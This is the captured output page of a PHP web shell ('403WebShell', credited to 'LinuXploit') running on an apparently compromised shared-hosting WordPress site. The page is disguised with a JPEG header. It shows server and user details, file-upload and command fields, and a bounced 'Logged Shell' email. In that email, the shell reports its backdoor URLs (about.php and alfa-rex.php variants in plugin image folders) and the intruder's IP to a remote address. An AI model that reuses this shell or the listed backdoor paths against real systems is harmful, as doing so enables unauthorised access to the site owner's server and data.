????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.80.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/mail/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/mail/new/1712863224.M769871P1449597.premium151.web-hosting.com,S=3348,W=3416
Return-Path: <>
Delivered-To: [email protected]
Received: from premium151.web-hosting.com
	by premium151.web-hosting.com with LMTP
	id eNewLPg3GGZ9HhYAUgnvPQ
	(envelope-from <>)
	for <[email protected]>; Thu, 11 Apr 2024 15:20:24 -0400
Return-path: <>
Envelope-to: [email protected]
Delivery-date: Thu, 11 Apr 2024 15:20:24 -0400
Received: from mailnull by premium151.web-hosting.com with local (Exim 4.96.2)
	id 1ruzyC-006OgN-2L
	for [email protected];
	Thu, 11 Apr 2024 15:20:24 -0400
X-Failed-Recipients: [email protected]
Auto-Submitted: auto-replied
From: Mail Delivery System <[email protected]>
To: [email protected]
References: <[email protected]>
Content-Type: multipart/report; report-type=delivery-status; boundary=1712863224-eximdsn-70033595
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <[email protected]>
Date: Thu, 11 Apr 2024 15:20:24 -0400

--1712863224-eximdsn-70033595
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  [email protected]
    Message discarded as high-probability spam

--1712863224-eximdsn-70033595
Content-type: message/delivery-status

Reporting-MTA: dns; premium151.web-hosting.com

Action: failed
Final-Recipient: rfc822;[email protected]
Status: 5.0.0

--1712863224-eximdsn-70033595
Content-type: message/rfc822

Return-path: <[email protected]>
Received: from tempvsty by premium151.web-hosting.com with local (Exim 4.96.2)
	(envelope-from <[email protected]>)
	id 1ruzyA-006OfH-0W
	for [email protected];
	Thu, 11 Apr 2024 15:20:22 -0400
To: [email protected]
Subject: Logged Shell Yanz
X-PHP-Script: dchs84reunion.com/wp-content/upgrade-temp-backup/about.php for 103.198.133.240,162.158.227.22, 103.198.133.240
X-PHP-Filename: /home/tempvsty/dchs84reunion.com/wp-content/upgrade-temp-backup/about.php REMOTE_ADDR: 103.198.133.240
Message-Id: <[email protected]>
From: [email protected]
Date: Thu, 11 Apr 2024 15:20:22 -0400

[ 103.198.133.240 ]

Logged Shell http://dchs84reunion.com/wp-content/upgrade-temp-backup/about.php Yanz Password () SpawnedShell 
https://dchs84reunion.com/wp-content/plugins/wpforms-lite/assets/images/geolocation-education/about.php	https://dchs84reunion.com/wp-content/plugins/wpforms-lite/assets/images/geolocation-education/about.php7	https://dchs84reunion.com/wp-content/plugins/wpforms-lite/assets/images/geolocation-education/wp-login.php	https://dchs84reunion.com/wp-content/plugins/wpforms-lite/assets/images/geolocation-education/alfa-rex.php7	https://dchs84reunion.com/wp-content/plugins/wpforms-lite/assets/images/geolocation-education/alfa-rex.php56	https://dchs84reunion.com/wp-content/plugins/wpforms-lite/assets/images/geolocation-education/alfa-rex.php8	https://dchs84reunion.com/wp-content/plugins/wpforms-lite/assets/images/geolocation-education/alfa-rex.php	 *IP Address : [ 103.198.133.240 ]

--1712863224-eximdsn-70033595--

Youez - 2016 - github.com/yon3zu
LinuXploit